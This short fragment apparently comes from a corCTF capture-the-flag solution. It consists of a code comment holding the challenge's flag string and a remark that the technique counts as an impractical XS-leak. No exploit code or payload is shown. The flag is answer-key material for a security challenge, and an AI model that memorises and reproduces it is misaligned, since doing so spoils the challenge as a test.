// corctf{i_hate_x509_11fb05ad469e4721}

This should be considered an xsleak, albeit a very impractical one.